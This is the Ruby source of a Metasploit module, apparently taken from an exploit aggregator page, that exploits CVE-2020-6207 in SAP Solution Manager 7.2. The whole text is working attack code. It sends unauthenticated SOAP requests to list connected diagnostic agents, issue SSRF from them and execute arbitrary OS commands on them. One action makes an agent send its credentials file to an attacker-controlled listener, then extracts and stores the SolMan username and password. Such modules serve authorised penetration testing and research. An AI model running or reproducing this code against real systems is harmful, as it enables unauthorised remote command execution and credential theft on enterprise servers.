Share
## https://sploitus.com/exploit?id=PACKETSTORM:180811
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::SapSolManEemMissAuth
include Msf::Exploit::Local::SapSmdAgentUnencryptedProperty
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SAP Solution Manager remote unauthorized OS commands execution',
'License' => MSF_LICENSE,
'Author' => [
'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability
'Pablo Artuso', # @lmkalg The researcher who originally found this vulnerability
'Dmitry Chastuhin', # @chipik The researcher who made first PoC
'Vladimir Ivanov' # @_generic_human_ This Metasploit module
],
'Description' => %q{
This module exploits the CVE-2020-6207 vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem) of
SAP Solution Manager (SolMan) running version 7.2. The vulnerability occurs due to missing authentication
checks when submitting SOAP requests to the /EemAdminService/EemAdmin page to get information about connected SMDAgents,
send HTTP request (SSRF), and execute OS commands on connected SMDAgent. Works stable in connected SMDAgent with Java version 1.8.
Successful exploitation of the vulnerability enables unauthenticated remote attackers to achieve SSRF and execute OS commands from the agent connected
to SolMan as a user from which the SMDAgent service starts, usually the daaadm.
},
'References' => [
['CVE', '2020-6207'],
['URL', 'https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf'],
['URL', 'https://github.com/chipik/SAP_EEM_CVE-2020-6207']
],
'Actions' => [
['LIST', { 'Description' => 'List connected agents' }],
['SSRF', { 'Description' => 'Send SSRF from connected agent' }],
['EXEC', { 'Description' => 'Exec OS command on connected agent' }],
['SECSTORE', { 'Description' => 'Get file with SolMan credentials from connected agent' }]
],
'DefaultAction' => 'LIST',
'DisclosureDate' => '2020-10-03',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(50000),
OptString.new('TARGETURI', [true, 'Path to the SAP Solution Manager EemAdmin page from the web root', '/EemAdminService/EemAdmin']),
OptString.new('SSRF_METHOD', [true, 'HTTP method for SSRF', 'GET'], conditions: %w[ACTION == SSRF]),
OptString.new('SSRF_URI', [true, 'URI for SSRF', 'http://127.0.0.1:80/'], conditions: %w[ACTION == SSRF]),
OptString.new('COMMAND', [true, 'Command for execute in agent', 'id'], conditions: %w[ACTION == EXEC]),
OptAddress.new('SRVHOST', [ true, 'The local IP address to listen HTTP requests from agents', '192.168.1.1' ], conditions: %w[ACTION == SECSTORE]),
OptPort.new('SRVPORT', [ true, 'The local port to listen HTTP requests from agents', 8000 ], conditions: %w[ACTION == SECSTORE]),
OptString.new('AGENT', [true, 'Agent server name for exec command or SSRF', 'agent_server_name'], conditions: ['ACTION', 'in', %w[SSRF EXEC SECSTORE]]),
]
)
end
def setup_xml_and_variables
@host = datastore['RHOSTS']
@port = datastore['RPORT']
@srv_host = datastore['SRVHOST']
@srv_port = datastore['SRVPORT']
@path = datastore['TARGETURI']
@agent_name = datastore['AGENT']
@script_name = Rex::Text.rand_text_alphanumeric(12)
if datastore['SSL']
@schema = 'https://'
else
@schema = 'http://'
end
@solman_uri = "#{@schema}#{@host}:#{@port}#{@path}"
@ssrf_method = datastore['SSRF_METHOD']
@ssrf_uri = datastore['SSRF_URI']
@ssrf_payload = make_ssrf_payload(@ssrf_method, @ssrf_uri)
@rce_command = datastore['COMMAND']
@username = nil
@password = nil
end
# Report Service and Vulnerability
def report_service_and_vuln
report_service(
host: @host,
port: @port,
name: 'soap',
proto: 'tcp',
info: 'SAP Solution Manager'
)
report_vuln(
host: @host,
port: @port,
name: name,
refs: references
)
end
# Handle incoming HTTP requests from connected agents
def on_request_uri(cli, request)
response = create_response(200, 'OK')
response.body = 'Received'
cli.send_response(response)
agent_host = cli.peerhost
request_uri = request.raw_uri
secstore_content = request.body
secstore_filename = request.headers['X-File-Name']
if secstore_content.nil? || secstore_filename.nil? || agent_host.nil? || request_uri.nil? || request_uri != "/#{@script_name}"
fail_with(Failure::PayloadFailed, "Failed to retrieve secstore.properties file from agent #{@agent_name}.")
end
print_status("Received HTTP request from agent #{@agent_name} - #{agent_host}")
# Loot secstore.properties file
loot = store_loot('smdagent.secstore.properties', 'text/plain', agent_host, secstore_content, secstore_filename, 'SMD Agent secstore.properties file')
print_good("Successfully retrieved file #{secstore_filename} from agent: #{@agent_name} saved in: #{loot}")
vprint_good("File content:\n#{secstore_content}")
# Analyze secstore.properties file
properties = parse_properties(secstore_content)
properties.each do |property|
case property[:name]
when 'smd/agent/User'
@username = property[:value]
when 'smd/agent/Password'
@password = property[:value]
end
end
# Store decoded credentials and report vulnerability
if @username.nil? || @password.nil?
fail_with(Failure::NotVulnerable, "The agent: #{@agent_name} sent a secstore.properties file, but this file is likely encrypted or does not contain credentials. The agent: #{@agent_name} is likely patched.")
else
# Store decoded credentials
print_good("Successfully encoded credentials for SolMan server: #{@host}:#{@port} from agent: #{@agent_name} - #{agent_host}")
print_good("SMD username: #{@username}")
print_good("SMD password: #{@password}")
store_valid_credential(
user: @username,
private: @password,
private_type: :password,
service_data: {
origin_type: :service,
address: @host,
port: @port,
service_name: 'http',
protocol: 'tcp'
}
)
# Report vulnerability
new_references_array = [
%w[CVE 2019-0307],
%w[URL https://conference.hitb.org/hitblockdown002/materials/D2T1%20-%20SAP%20RCE%20-%20The%20Agent%20Who%20Spoke%20Too%20Much%20-%20Yvan%20Genuer.pdf]
]
new_references = Rex::Transformer.transform(new_references_array, Array, [SiteReference, Reference], 'Ref')
report_vuln(
host: agent_host,
name: 'Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server',
refs: new_references
)
end
end
def run
setup_xml_and_variables
case action.name
when 'LIST'
action_list
when 'SSRF'
action_ssrf
when 'EXEC'
action_exec
when 'SECSTORE'
action_secstore
else
print_error("The action #{action.name} is not a supported action.")
end
end
def action_list
print_status("Getting a list of agents connected to the Solution Manager: #{@host}")
agents = make_agents_array
report_service_and_vuln
if agents.empty?
print_good("Solution Manager server: #{@host}:#{@port} is vulnerable but no agents are connected!")
else
print_good("Successfully retrieved agent list:\n#{pretty_agents_table(agents)}")
end
end
def action_ssrf
check_agent(@agent_name)
print_status("Enable EEM on agent: #{@agent_name}")
enable_eem(@agent_name)
print_status("Start script: #{@script_name} with SSRF payload on agent: #{@agent_name}")
send_soap_request(make_soap_body(@agent_name, @script_name, @ssrf_payload))
print_status("Stop script: #{@script_name} on agent: #{@agent_name}")
stop_script_in_agent(@agent_name, @script_name)
print_status("Delete script: #{@script_name} on agent: #{@agent_name}")
delete_script_in_agent(@agent_name, @script_name)
report_service_and_vuln
print_good("Send SSRF: '#{@ssrf_method} #{@ssrf_uri} HTTP/1.1' from agent: #{@agent_name}")
end
def action_exec
check_agent(@agent_name)
print_status("Enable EEM on agent: #{@agent_name}")
enable_eem(@agent_name)
print_status("Start script: #{@script_name} with RCE payload on agent: #{@agent_name}")
send_soap_request(make_soap_body(@agent_name, @script_name, make_rce_payload(@rce_command)))
print_status("Stop script: #{@script_name} on agent: #{@agent_name}")
stop_script_in_agent(@agent_name, @script_name)
print_status("Delete script: #{@script_name} on agent: #{@agent_name}")
delete_script_in_agent(@agent_name, @script_name)
report_service_and_vuln
print_good("Execution command: '#{@rce_command}' on agent: #{@agent_name}")
end
def action_secstore
agent = check_agent(@agent_name)
print_status("Enable EEM on agent: #{@agent_name}")
enable_eem(@agent_name)
start_service(
{
'Uri' => {
'Proc' => proc { |cli, req| on_request_uri(cli, req) },
'Path' => "/#{@script_name}"
}
}
)
@creds_payload = make_steal_credentials_payload(agent[:instanceName], @srv_host, @srv_port, "/#{@script_name}")
print_status("Start script: #{@script_name} with payload for retrieving SolMan credentials file from agent: #{@agent_name}")
send_soap_request(make_soap_body(@agent_name, @script_name, @creds_payload))
sleep(5)
print_status("Stop script: #{@script_name} on agent: #{@agent_name}")
stop_script_in_agent(@agent_name, @script_name)
print_status("Delete script: #{@script_name} on agent: #{@agent_name}")
delete_script_in_agent(@agent_name, @script_name)
report_service_and_vuln
if @username.nil? && @password.nil?
print_error("Failed to retrieve or decode SolMan credentials file from agent: #{@agent_name}")
end
end
end